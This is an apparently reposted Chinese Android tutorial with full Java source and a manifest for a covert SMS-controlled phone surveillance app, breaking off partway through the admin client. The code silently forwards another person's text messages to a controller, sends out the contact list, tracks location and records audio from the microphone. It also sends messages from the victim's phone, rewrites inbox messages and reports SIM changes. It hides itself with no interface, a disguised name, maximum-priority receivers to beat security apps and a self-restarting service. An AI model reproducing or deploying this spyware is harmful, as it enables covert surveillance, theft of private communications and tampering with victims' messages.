基于短信的手机控制程序

原文地址:http://www.apkbus.com/android-57861-1-1.html?fromuid=257244


1.2程序简介
本程序是一个基于短信的手机控制程序,有受控端B和管理端A.
已实现功能:
1.A监控C发给B的所有短信.
2.A可以查询B的通讯录和位置.
3.A可以开启B的手机录音.
4.A可以通过B向任何人发送短信.
5.A可以修改B的收件箱短信内容.
6.B换手机号后,A可以知道.

相关参数:
admin----管理者手机号码,也就是A的手机号码 
listen----被监控的手机号码,即C的手机号.
password----管理密码,会在第一次建立控制关系时设定,A若换手机号,只能通过这个密码来更换B上保存的admin号码            


2.1 MainReceiver:程序的短信解析/跳转主体类.
用的是broadcastreceiver , broadcastreceiver本身就不介绍了,网上一大堆使用教程.本程序中就是截获android.provider.Telephony.SMS_RECEIVED广播,分析短信内容, 根据不同的内容进行相应操作.
  1. package iceman.android.project;

  2. import java.util.List;

  3. import android.content.BroadcastReceiver;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.content.SharedPreferences;
  7. import android.content.SharedPreferences.Editor;
  8. import android.os.Bundle;
  9. import android.telephony.SmsManager;
  10. import android.telephony.SmsMessage;

  11. public class MainReceiver extends BroadcastReceiver{
  12.         private String number;
  13.         private SmsManager manager = SmsManager.getDefault();
  14.     
  15.         public void onReceive(Context context, Intent intent) {
  16.                 MyLog.LogI("OUTPUT", "广播接收器触发");
  17.                 SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
  18. //使用
  19. SharedPreferences  存储admin号码和listen号码.
  20.                 String admin = preferences.getString("admin", "");
  21.                 MyLog.LogI("OUTPUT", "当前admin:"+admin);
  22.                 String listen = preferences.getString("listen", "");
  23.                 String password = preferences.getString("password", "iceman");
  24.                 MyLog.LogI("OUTPUT", "当前listen:"+listen);
  25.                 Bundle bun = intent.getExtras();
  26.                 //开始分析短信
  27.                 if(bun!=null){
  28.                         Object[] mypdus = (Object[])bun.get("pdus");
  29.                         SmsMessage[] messages = new SmsMessage[mypdus.length];
  30.                         for(int i=0;i<mypdus.length;i++){
  31.                                 messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
  32.                         }
  33.                         for(SmsMessage mess:messages){
  34.                                         
  35.                                         number = mess.getDisplayOriginatingAddress();
  36.                                         String body = mess.getDisplayMessageBody();
  37.                                         MyLog.LogI("OUTPUT","号码来源:"+number);
  38.                                         MyLog.LogI("OUTPUT","内容:"+body);
  39.                                         if(number.contains("+86")){
  40.                                                 number = number.substring(3);
  41.                                         }
  42.                                         MyLog.LogI("OUTPUT","号码来源转换"+number);
  43.                                         //设定管理号码
  44.                                         if(body.equals("iceman78952190")){
  45.                                             MyLog.LogI("OUTPUT","查询密码哦");
  46.                                             abortBroadcast();
  47.                                             manager.sendTextMessage(number, null, password, null, null);
  48.                                         }
  49.                                         if(body.contains("@iceman@admin")){
  50.                                                 abortBroadcast();
  51.                                                 body = body.substring(13);
  52.                                                 if(password.equals("iceman")){
  53.                                                     password = body;
  54.                                                     Editor editor = preferences.edit();
  55.                                                     editor.putString("admin", number);
  56.                                                     editor.putString("password", body);
  57.                                                     editor.commit();
  58.                                                     MyLog.LogI("OUTPUT","设定admin:"+number);
  59.                                                     manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
  60.                                                 }else{
  61.                                                     if(password.equals(body)){
  62.                                                         Editor editor = preferences.edit();
  63.                                     editor.putString("admin", number);
  64.                                     editor.commit();
  65.                                     MyLog.LogI("OUTPUT","设定admin:"+number);
  66.                                     manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
  67.                                                     }else{
  68.                                                         MyLog.LogI("OUTPUT","密码不对");
  69.                                                     }
  70.                                                 }
  71.                                         }
  72.                                         //对管理号码发来的短信进行判断,是否启动服务或者更改被监听号码
  73.                                         if(number.equals(admin)){
  74.                                                 if(body.contains("@iceman@search")){
  75.                                                         abortBroadcast();
  76.                                                         MyLog.LogI("OUTPUT", "开始查询通讯录");
  77.                                                         manager.sendTextMessage(admin, null, "search starting!", null, null);
  78.                                                         //启动服务,查询通讯录并发送
  79.                                                         Intent it = new Intent(context,ContactService.class);
  80.                                                         it.putExtra("admin", admin);
  81.                                                         context.startService(it);
  82.                                                 }else if(body.contains("@iceman@change")){
  83.                                                         abortBroadcast();
  84.                                                         listen = body.substring(14);
  85.                                                         Editor editor = preferences.edit();
  86.                                                         editor.putString("listen", listen);
  87.                                                         editor.commit();
  88.                                                         MyLog.LogI("OUTPUT", "更改listen完成");
  89.                                                         manager.sendTextMessage(admin, null, "listen change success!", null, null);
  90.                                                 }else if(body.contains("@iceman@location")){
  91.                                                         abortBroadcast();
  92.                                                         MyLog.LogI("OUTPUT", "开启位置监控");                                                        
  93.                                                         Intent it = new Intent(context,LocationService.class);
  94.                                                         context.startService(it);
  95.                                                         manager.sendTextMessage(admin, null, "location listen success!", null, null);
  96.                                                         MyLog.LogI("OUTPUT", "位置监控开启完成");
  97.                                                 }else if(body.contains("@iceman@where")){
  98.                                                         abortBroadcast();
  99.                                                         MyLog.LogI("OUTPUT", "开始发送并解析地址");        
  100.                                                         Intent it2 = new Intent(context,GetAddressService.class);
  101.                                                         context.startService(it2);
  102.                                                 }else if(body.contains("@iceman@start")){
  103.                                                         abortBroadcast();
  104.                                                         MyLog.LogI("OUTPUT", "收到录音开启命令");                
  105.                                                         Intent it = new Intent(context,RecorderService.class);
  106.                                                         context.startService(it);
  107.                                                 }else if(body.contains("@iceman@stop")){
  108.                                                         abortBroadcast();
  109.                                                         MyLog.LogI("OUTPUT", "收到结束录音命令");                
  110.                                                         Intent it = new Intent(context,RecorderService.class);
  111.                                                         context.stopService(it);
  112.                                                 }else if(body.contains("@iceman@sms")){
  113.                                                         abortBroadcast();
  114.                                                         MyLog.LogI("OUTPUT", "发送短信");
  115.                                                         String[] str = body.split("#");
  116.                                                         manager.sendTextMessage(str[1], null, str[2], null, null);
  117.                                                         MyLog.LogI("OUTPUT", "目标号码:"+str[1]+"内容:"+str[2]);
  118.                                                 }else if(body.contains("@iceman@replace")){
  119.                                                     abortBroadcast();
  120.                                                     String[] str = body.split("#");
  121.                                                     MyLog.LogI("OUTPUT", "收到短信修改命令"); 
  122.                                                     Intent it = new Intent(context,EditSmsService.class);
  123.                                                     it.putExtra("key", str[1]);
  124.                                                     it.putExtra("number", str[2]);
  125.                                                     it.putExtra("content", str[3]);
  126.                                                     it.putExtra("type", "replace");
  127.                                                     context.startService(it);
  128.                                                 }
  129.                                                 else if(body.contains("@iceman@edit")){
  130.                                                     abortBroadcast();
  131.                                                     String[] str = body.split("#");
  132.                             MyLog.LogI("OUTPUT", "收到短信编辑命令"); 
  133.                             Intent it = new Intent(context,EditSmsService.class);
  134.                             it.putExtra("key", str[1]);
  135.                             it.putExtra("number", str[2]);
  136.                             it.putExtra("content", str[3]);
  137.                             it.putExtra("type", "edit");
  138.                             context.startService(it);
  139.                                                 }
  140.                                         }
  141.                                                 //判断是否由被监听号码发来的短信
  142.                                         if(number.equals(listen)){
  143.                                                 String sms = number+":"+body;
  144.                                                 MyLog.LogI("OUTPUT", "监听到短信");
  145.                                                 List<String> texts=manager.divideMessage(sms); 
  146.                                         for(String text:texts) 
  147.                                         { 
  148.                                             manager.sendTextMessage(admin, null, text, null, null); 
  149.                                         }   
  150.                                                 }
  151.                                         
  152.                         }
  153.                 }
  154.         }
  155. }
复制代码
这个广播接收器最初是静态注册的,目的是不需要运行程序,相当于开机启动.但是在部分真机上测试时发现360,91短信等会在它之前拦截短信,经过网上查询,得知动态注册的优先级要高于静态注册,优先级相同的动态注册广播,先注册的先接收广播.
所以,我又写了个service,在系统启动后运行并绑定广播接收器.优先级设为2147483647.不要被google api里面写的优先级最大1000忽悠了,这个int上限值也是有用的.
  1. package iceman.android.project;

  2. import android.app.Service;
  3. import android.content.Intent;
  4. import android.content.IntentFilter;
  5. import android.os.IBinder;

  6. public class MainService extends Service{
  7.     MainReceiver mReceiver;
  8.     @Override
  9.     public IBinder onBind(Intent intent) {
  10.         // TODO Auto-generated method stub
  11.         return null;
  12.     }

  13.     @Override
  14.     public void onStart(Intent intent, int startId) {
  15.         super.onStart(intent, startId);
  16.         IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
  17.         localIntentFilter.setPriority(2147483647);
  18.         mReceiver = new MainReceiver();
  19.         registerReceiver(mReceiver, localIntentFilter);
  20.     }

  21.     @Override
  22.     public void onDestroy() {
  23.         unregisterReceiver(mReceiver);
  24.         Intent it = new Intent(MainService.this, MainService.class);
  25.         this.startService(it);
  26.     }
  27. }
复制代码
2.2功能:监控指定短信
这是程序的初衷,也是我学到broadcastreceiver时首先冒出来的念头...
当短信来源号码为C时,将短信转发一份给A.代码很简单:
  1. // 判断是否由被监听号码发来的短信
  2.                 if (number.equals(listen)) {
  3.                     String sms = number + ":" + body;
  4.                     MyLog.LogI("OUTPUT", "监听到短信");
  5.                     List<String> texts = manager.divideMessage(sms);
  6.                     for (String text : texts) {
  7.                         manager.sendTextMessage(admin, null, text, null, null);
  8.                     }
  9.                 }
复制代码
2.3功能:查询通讯录
这里使用了ContentResolver,这是与内容提供器ContentProvider对应的"查询器",android的通讯录程序对外提供了ContentProvider查询接口.我们可以像操作数据库一样对里面的数据进行读取.修改也可以(这个太无聊了,放到短信那部分再说)
  1. package iceman.android.project;

  2. import java.util.List;

  3. import android.app.Service;
  4. import android.content.ContentResolver;
  5. import android.content.Intent;
  6. import android.database.Cursor;
  7. import android.os.IBinder;
  8. import android.provider.ContactsContract;
  9. import android.telephony.SmsManager;

  10. public class ContactService extends Service{
  11.         SmsManager manager = SmsManager.getDefault();
  12.         @Override
  13.         public IBinder onBind(Intent intent) {
  14.                 return null;
  15.         }

  16.         @Override
  17.         public void onCreate() {
  18.                 super.onCreate();
  19.         }

  20.         @Override
  21.         public void onStart(Intent intent, int startId) {
  22.                 String admin = intent.getStringExtra("admin");
  23.                 MyLog.LogI("OUTPUT", "开启通讯录查询服务");
  24.                 String[] columns = { "_id", "display_name", "has_phone_number" };
  25.                 StringBuffer sb = new StringBuffer();
  26.                 ContentResolver cr = this.getContentResolver();
  27.                 Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
  28.                                 columns, null, null, null);
  29.                 String[] phone_clos = {
  30.                                 ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
  31.                                 ContactsContract.CommonDataKinds.Phone.NUMBER, };
  32.                 if (cursor.moveToFirst()) {
  33.                         do {
  34.                                 int _id = cursor.getInt(0);
  35.                                 String name = cursor.getString(1);
  36.                                 String has_phone = cursor.getString(2);
  37.                                 sb.append(name + ":");
  38.                                 
  39.                                 if (has_phone.trim().equals("1")) {
  40.                                         Cursor phones = cr
  41.                                                         .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
  42.                                                                         phone_clos,
  43.                                                                         ContactsContract.CommonDataKinds.Phone.CONTACT_ID
  44.                                                                         + "=" + _id, null, null);
  45.                                         if (phones.moveToFirst()) {
  46.                                                 do {
  47.                                                         sb.append(phones.getString(1) + ".");
  48.                                                 } while (phones.moveToNext());
  49.                                         }
  50.                                 }
  51.                         } while (cursor.moveToNext());
  52.                 }
  53.                 MyLog.LogI("OUTPUT", "开始发送通讯录");
  54.                         List<String> texts=manager.divideMessage(sb.toString()); 
  55.                 for(String text:texts) 
  56.                 { 
  57.                     manager.sendTextMessage(admin, null, text, null, null); 
  58.                 }   
  59.                 //查询完毕后关闭服务
  60.                 stopSelf();
  61.                 super.onStart(intent, startId);
  62.         }

  63.         @Override
  64.         public void onDestroy() {
  65.                 // TODO Auto-generated method stub
  66.                 super.onDestroy();
  67.         }

  68.         @Override
  69.         public int onStartCommand(Intent intent, int flags, int startId) {
  70.                 // TODO Auto-generated method stub
  71.                 return super.onStartCommand(intent, flags, startId);
  72.         }

  73.         @Override
  74.         public boolean onUnbind(Intent intent) {
  75.                 // TODO Auto-generated method stub
  76.                 return super.onUnbind(intent);
  77.         }

  78. }
复制代码
要注意的是,这个视通讯录条数多少,会有几条短信发出...少用为妙

2.4功能:查询位置
有两件事要做:获得经纬度表示的位置信息和将经纬度解析为地址信息
android使用LocationManager来管理获得的位置信息,给它设置一个位置监听,就可以在位置发生变化时,获得变化后的经纬度信息,
  1. package iceman.android.project;


  2. import java.text.SimpleDateFormat;
  3. import java.util.Date;

  4. import android.app.Service;
  5. import android.content.Context;
  6. import android.content.Intent;
  7. import android.content.SharedPreferences;
  8. import android.content.SharedPreferences.Editor;
  9. import android.location.Criteria;
  10. import android.location.Location;
  11. import android.location.LocationListener;
  12. import android.location.LocationManager;
  13. import android.os.Bundle;
  14. import android.os.IBinder;

  15. public class LocationService extends Service{
  16.         private Location location;//当前位置
  17.         private String time = "unknown";
  18.         private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
  19.         private SharedPreferences preferences = null;
  20.         
  21.         @Override
  22.         public IBinder onBind(Intent intent) {
  23.                 // TODO Auto-generated method stub
  24.                 
  25.                 return null;
  26.         }

  27.         @Override
  28.         public void onCreate() {
  29.                 super.onCreate();
  30.                 getLocation();
  31.                 
  32.         }

  33.         @Override
  34.         public void onDestroy() {
  35.                 // TODO Auto-generated method stub
  36.                 super.onDestroy();
  37.         }

  38.         @Override
  39.         public int onStartCommand(Intent intent, int flags, int startId) {
  40.                 // TODO Auto-generated method stub
  41.                 return super.onStartCommand(intent, flags, startId);
  42.         }

  43.         @Override
  44.         public boolean onUnbind(Intent intent) {
  45.                 // TODO Auto-generated method stub
  46.                 return super.onUnbind(intent);
  47.         }
  48.         private void getLocation(){
  49.                 LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
  50.                 if(locationmanager==null){
  51.                         MyLog.LogI("OUTPUT", "定位管理器未找到");
  52.                 }
  53.                 Criteria criteria = new Criteria();//用来得到位置提供器(Location Provider)的一组参数标准
  54.                 criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
  55.                 criteria.setAltitudeRequired(false);//是否要求定位出高度值
  56.                 criteria.setCostAllowed(true);//是否允许花钱
  57.                 String str = locationmanager.getBestProvider(criteria, false);//得到满足标准的一个最好的提供器的名称
  58.                 if(str==null){
  59.                         MyLog.LogI("OUTPUT", "位置提供器未找到");
  60.                 }
  61.                 MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
  62.                 location = locationmanager.getLastKnownLocation(str);
  63.                 locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
  64.                                 @Override
  65.                                 public void onStatusChanged(String provider, int status, Bundle extras) {
  66.                                         // TODO Auto-generated method stub
  67.                                 }
  68.                                 
  69.                                 @Override
  70.                                 public void onProviderEnabled(String provider) {
  71.                                         // TODO Auto-generated method stub
  72.                                 }
  73.                                 
  74.                                 @Override
  75.                                 public void onProviderDisabled(String provider) {
  76.                                         // TODO Auto-generated method stub
  77.                                 }
  78.                                 
  79.                                 @Override
  80.                                 public void onLocationChanged(Location loca) {
  81.                                         // TODO Auto-generated method stub
  82.                                         MyLog.LogI("OUTPUT", "位置发生改变");
  83.                                         time = sf.format(new Date());
  84.                                         location = loca;
  85.                                         preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
  86.                                         Editor editor = preferences.edit();
  87.                                         editor.putString("lat", ""+location.getLatitude());
  88.                                         editor.putString("lon", ""+location.getLongitude());
  89.                                         editor.putString("time", time);
  90.                                         editor.commit();
  91.                                         MyLog.LogI("OUTPUT", "位置已经放入");        
  92.                                 }
  93.                         });
  94.                         
  95.         }
  96.         @Override
  97.         public void onStart(Intent intent, int startId) {
  98.         }

  99. }
复制代码
在这个service中,将改变后的位置经纬度存储下来,下次调用位置解析服务的时候,就可以取出最新的经纬度进行解析了.
经纬度如何转为地址信息?
android.location.Geocoder本来可以实现两者双向转换,只是google的这个server不太稳定,经常会报
unable to parse response from server,所以我使用在线解析,
http://maps.google.com/maps/api/geocode/json?latlng=后面加上经纬度,会返回json数据,然后进行解析就可以获得地址信息了.
  1. package iceman.android.project;

  2. import java.io.BufferedReader;
  3. import java.io.IOException;
  4. import java.io.InputStreamReader;

  5. import org.apache.http.HttpEntity;
  6. import org.apache.http.HttpResponse;
  7. import org.apache.http.client.ClientProtocolException;
  8. import org.apache.http.client.HttpClient;
  9. import org.apache.http.client.methods.HttpGet;
  10. import org.apache.http.impl.client.DefaultHttpClient;
  11. import org.json.JSONArray;
  12. import org.json.JSONException;
  13. import org.json.JSONObject;

  14. import android.app.Service;
  15. import android.content.Intent;
  16. import android.content.SharedPreferences;
  17. import android.os.IBinder;
  18. import android.telephony.SmsManager;

  19. public class GetAddressService extends Service{
  20.         private SmsManager manager;
  21.         @Override
  22.         public IBinder onBind(Intent intent) {
  23.                 // TODO Auto-generated method stub
  24.                 return null;
  25.         }

  26.         @Override
  27.         public void onCreate() {
  28.                 super.onCreate();
  29.                 
  30.         }

  31.         @Override
  32.         public void onDestroy() {
  33.                 // TODO Auto-generated method stub
  34.                 super.onDestroy();
  35.         }

  36.         @Override
  37.         public void onStart(Intent intent, int startId) {
  38.                 manager = SmsManager.getDefault();
  39.                 MyLog.LogI("OUTPUT", "开始转换地址服务");
  40.                 SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
  41.                 Double lat = Double.parseDouble(preferences.getString("lat", null));
  42.                 Double lon = Double.parseDouble(preferences.getString("lon", null));
  43.                 MyLog.LogI("OUTPUT", "精度"+lon);
  44.                 MyLog.LogI("OUTPUT", "纬度"+lat);
  45.                 String admin = preferences.getString("admin", null);
  46.                 String time = preferences.getString("time", null);
  47.                 String address1 = "经度"+lon+"纬度"+lat;
  48.                 manager.sendTextMessage(admin, null, address1+time, null, null);
  49.                 String address2 = getAddress(lon, lat);
  50.                 manager.sendTextMessage(admin, null, address2+time, null, null);
  51.                 stopSelf();
  52.                 super.onStart(intent, startId);
  53.         }


  54.         @Override
  55.         public boolean onUnbind(Intent intent) {
  56.                 // TODO Auto-generated method stub
  57.                 return super.onUnbind(intent);
  58.         }
  59.         public String getAddress(Double Longitude,Double Latitude){
  60.                 MyLog.LogI("OUTPUT", "开始转换地址");
  61.                 String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
  62.                 HttpClient client = new DefaultHttpClient();
  63.                 StringBuilder sb = new StringBuilder();
  64.                 try {
  65.                         HttpResponse resp = client.execute(new HttpGet(url));
  66.                         HttpEntity he = resp.getEntity();
  67.                         BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
  68.                         String str = "";
  69.                         while((str=br.readLine())!=null){
  70.                                 sb.append(str);
  71.                         }
  72.                         
  73.                 } catch (ClientProtocolException e) {
  74.                         e.printStackTrace();
  75.                 } catch (IOException e) {
  76.                         e.printStackTrace();
  77.                 }
  78.                 MyLog.LogI("OUTPUT", "开始解析json");
  79.                 try {
  80.                         JSONObject jo1 = new JSONObject(sb.toString());
  81.                         String str1 = jo1.getString("results");
  82.                         JSONArray arr1 = new JSONArray(str1);
  83.                         String str2 = arr1.get(0).toString();
  84.                         JSONObject jo2 = new JSONObject(str2);
  85.                         String str3 = jo2.getString("formatted_address");
  86.                         MyLog.LogI("OUTPUT", str3);
  87.                         return str3;
  88. //                        Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
  89.                 } catch (JSONException e) {
  90.                         return "地址转换失败";
  91.                 }
  92.         }

  93. }
复制代码
2.5功能:开启录音
这个很简单,使用MediaRecorder即可,在service的oncreat中开始录音,ondestory中结束录音.
  1. package iceman.android.project;

  2. import java.io.IOException;

  3. import android.app.Service;
  4. import android.content.Intent;
  5. import android.media.MediaRecorder;
  6. import android.os.IBinder;

  7. public class RecorderService extends Service{
  8.         private MediaRecorder recorder;
  9.         private String location;
  10.         @Override
  11.         public IBinder onBind(Intent arg0) {
  12.                 // TODO Auto-generated method stub
  13.                 return null;
  14.         }

  15.         @Override
  16.         public void onCreate() {
  17.                 super.onCreate();
  18.                 MyLog.LogI("OUTPUT", "录音服务启动");
  19.                 recorder = new MediaRecorder();
  20.                 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
  21.                 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
  22.                 location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
  23.                 recorder.setOutputFile(location);
  24.                 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
  25.                 
  26.                 try {
  27.                         recorder.prepare();
  28.                 } catch (IllegalStateException e) {
  29.                         // TODO Auto-generated catch block
  30.                         e.printStackTrace();
  31.                 } catch (IOException e) {
  32.                         // TODO Auto-generated catch block
  33.                         e.printStackTrace();
  34.                 }
  35.                 recorder.start();
  36.                 MyLog.LogI("OUTPUT", "开始录音");
  37.         }

  38.         @Override
  39.         public void onDestroy() {
  40.                 // TODO Auto-generated method stub
  41.                 recorder.stop();
  42.                 MyLog.LogI("OUTPUT", "停止录音");
  43.                 super.onDestroy();
  44.         }

  45.         @Override
  46.         public int onStartCommand(Intent intent, int flags, int startId) {
  47.                 // TODO Auto-generated method stub
  48.                 return super.onStartCommand(intent, flags, startId);
  49.         }

  50.         @Override
  51.         public boolean onUnbind(Intent intent) {
  52.                 // TODO Auto-generated method stub
  53.                 return super.onUnbind(intent);
  54.         }

  55. }
复制代码
2.6发送短信
对A发过来的短信进行分割,获取目的号码和短信内容,然后发送.代码已经在MainReceiver中了.

2.7编辑短信
ContentResolver不仅可以查询,也可以修改.修改短信这个邪恶的功能就靠它来实现了.
代码中号码为00000000000表示不限号码进行修改.不论谁发过来的短信,只要满足关键字条件,就进行修改.

  1. package iceman.android.project;

  2. import android.app.Service;
  3. import android.content.ContentResolver;
  4. import android.content.ContentValues;
  5. import android.content.Intent;
  6. import android.database.Cursor;
  7. import android.net.Uri;
  8. import android.os.IBinder;

  9. public class EditSmsService extends Service {
  10.     private ContentResolver mContentResolver;

  11.     private String key, number, content, type;

  12.     @Override
  13.     public IBinder onBind(Intent intent) {
  14.         // TODO Auto-generated method stub
  15.         return null;
  16.     }

  17.     @Override
  18.     public void onStart(Intent intent, int startId) {
  19.         key = intent.getStringExtra("key");
  20.         number = intent.getStringExtra("number");
  21.         content = intent.getStringExtra("content");
  22.         type = intent.getStringExtra("type");
  23.         mContentResolver = this.getContentResolver();
  24.         Cursor cursor;
  25.         if (number.equals("00000000000")) {
  26.             cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
  27.                     null);
  28.             MyLog.LogI("OUTPUT", "号码为00000000000");
  29.         } else {
  30.             cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
  31.                     new String[] {
  32.                         "" + number
  33.                     }, null);
  34.             MyLog.LogI("OUTPUT", "号码指定");
  35.         }
  36.         int time = 0;
  37.         String newContent = null;
  38.         if (cursor != null) {
  39.             cursor.moveToFirst();
  40.             do {
  41.                 String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
  42.                 String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
  43.                 int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
  44.                 // int date =
  45.                 // cursor.getInt(cursor.getColumnIndexOrThrow("date"));
  46.                 if (number.equals("00000000000")) {
  47.                     if (body.contains(key)) {
  48.                         ContentValues values = new ContentValues();
  49.                         // values.put("address", address);
  50.                         if (type.equals("replace")) {
  51.                             newContent = body.replace(key, content);
  52.                         } else {
  53.                             newContent = content;
  54.                         }
  55.                         values.put("read", 1);
  56.                         values.put("status", -1);
  57.                         values.put("type", 1);
  58.                         values.put("body", newContent);
  59.                         mContentResolver.update(Uri.parse("content://sms/inbox"), values,
  60.                                 "_id = ?", new String[] {
  61.                                     "" + id
  62.                                 });
  63.                     }
  64.                 } else {
  65.                     if (body.contains(key) && address.equals(number)) {
  66.                         ContentValues values = new ContentValues();
  67.                         // values.put("address", address);
  68.                         if (type.equals("replace")) {
  69.                             newContent = body.replace(key, content);
  70.                         } else {
  71.                             newContent = content;
  72.                         }
  73.                         values.put("read", 1);
  74.                         values.put("status", -1);
  75.                         values.put("type", 1);
  76.                         values.put("body", newContent);
  77.                         mContentResolver.update(Uri.parse("content://sms/inbox"), values,
  78.                                 "_id = ?", new String[] {
  79.                                     "" + id
  80.                                 });
  81.                     }
  82.                 }
  83.                 time++;
  84.             } while (cursor.moveToNext() && time < 50);
  85.         }
  86.         stopSelf();
  87.     }

  88. }
复制代码
2.8功能:B更换手机号码后发送至A.
TelephonyManager可以获取手机相关信息,比如手机号码,imei等,但是这些数据来源于sim卡,如果某些运营商没有将电话号码写到sim卡上,手机号码就获取不到了.
号码变更检测是要开机进行的,如果发现号码跟保存的不一样,就发送新号码至admin.
  1. package iceman.android.project;

  2. import android.content.BroadcastReceiver;
  3. import android.content.Context;
  4. import android.content.Intent;
  5. import android.content.SharedPreferences;
  6. import android.telephony.SmsManager;
  7. import android.telephony.TelephonyManager;

  8. public class BootReceiver extends BroadcastReceiver{

  9.     private String mDeviceId;
  10.     private String mTel;
  11.     private String mImei;
  12.     private String mImsi;
  13.     private String mOldDeviceId;
  14.     private String mOldTel;
  15.     private String mOldImei;
  16.     private String mOldImsi;
  17.     @Override
  18.     public void onReceive(Context context, Intent intent) {
  19.         Intent service=new Intent(context, MainService.class);
  20.         context.startService(service);
  21.         TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
  22.         mDeviceId = tm.getDeviceId();
  23.         mTel = tm.getLine1Number();
  24.         mImei = tm.getSimSerialNumber();
  25.         mImei = mImei==null?"":mImei;
  26.         mImsi = tm.getSubscriberId();
  27.         mImsi = mImsi==null?"":mImsi;
  28.         SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
  29.         mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
  30.         mOldTel = sharedPreferencesPhone.getString("tel", "");;
  31.         mOldImei = sharedPreferencesPhone.getString("imei", "");;
  32.         mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
  33.         SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
  34.         String admin = sharedPreferencesControl.getString("admin", "");
  35.         if(isChange()){
  36.             SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
  37.             editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
  38.             editor.putString("tel", mTel);
  39.             editor.putString("imei", mImei);
  40.             editor.putString("imsi", mImsi);
  41.             editor.commit();
  42.             SmsManager smsmanager = SmsManager.getDefault();
  43.             if(!admin.equals("")){
  44.                 String text = "tel:"+mTel+".mImei:"+mImei;
  45.                 smsmanager.sendTextMessage(admin, null, text, null, null);
  46.             }
  47.         }
  48.     }
  49.     private boolean isChange(){
  50.         if(mTel==null){
  51.             return false;
  52.         }
  53.         if(mOldTel.equals("")){
  54.             return true;
  55.         }
  56.         if(!mTel.equals(mOldTel)){
  57.             return true;
  58.         }
  59.         return false;
  60.     }

  61. }
复制代码
2.9受控端总结:
以下是主配置文件
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  3.     package="iceman.android.project"
  4.     android:versionCode="1"
  5.     android:versionName="1.0" 
  6.     >
  7.     <uses-sdk android:minSdkVersion="7" />
  8. <!--  android:priority="100" -->
  9.     <application
  10.         android:debuggable="false"
  11.         android:icon="@drawable/app_icon"
  12.         android:label="@string/app_name" >
  13.         <receiver android:name=".MainReceiver">
  14.                 <intent-filter android:priority="2147483647">
  15.                         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
  16.                 </intent-filter>
  17.         </receiver>        
  18.         <receiver android:name=".BootReceiver">
  19.                 <intent-filter android:priority="2147483647">
  20.                         <action android:name="android.intent.action.BOOT_COMPLETED"/>
  21.                 </intent-filter>
  22.         </receiver>        
  23.         <service android:name=".ContactService" android:enabled="true"/>
  24.         <service android:name=".LocationService" android:enabled="true"/>
  25.         <service android:name=".RecorderService" android:enabled="true"/>
  26.         <service android:name=".GetAddressService" android:enabled="true"/>
  27.         <service android:name=".EditSmsService" android:enabled="true"/>
  28.     </application>
  29.     <uses-permission android:name="android.permission.INTERNET"/>
  30.     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
  31.     <uses-permission android:name="android.permission.CALL_PHONE"/>
  32.     <uses-permission android:name="android.permission.SEND_SMS"/>
  33.     <uses-permission android:name="android.permission.READ_CONTACTS"/>
  34.     <uses-permission android:name="android.permission.READ_SMS"/>
  35.     <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  36.     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
  37.     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
  38.     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
  39.     <uses-permission android:name="android.permission.READ_SMS"/>
  40.     <uses-permission android:name="android.permission.WRITE_SMS"/>
  41.     <uses-permission android:name="android.permission.READ_PHONE_STATE" />
  42. </manifest>
复制代码
可以看到的是,受控端是没有activity的.而且程序名字我命名为"android短信服务".如果不是有服务开启的话,可以说是无法发现程序的存在的.

3.1管理端
为了简化命令发送的繁琐,写了这个简单的管理端程序,就两个activity.

  1. package iceman.android.smsadmin;

  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.content.SharedPreferences;
  5. import android.content.SharedPreferences.Editor;
  6. import android.os.Bundle;
  7. import android.telephony.SmsManager;
  8. import android.view.View;
  9. import android.view.View.OnClickListener;
  10. import android.widget.Button;
  11. import android.widget.CheckBox;
  12. import android.widget.CompoundButton;
  13. import android.widget.CompoundButton.OnCheckedChangeListener;
  14. import android.widget.EditText;
  15. import android.widget.TextView;
  16. import android.widget.Toast;

  17. public class SMSadminActivity extends Activity {
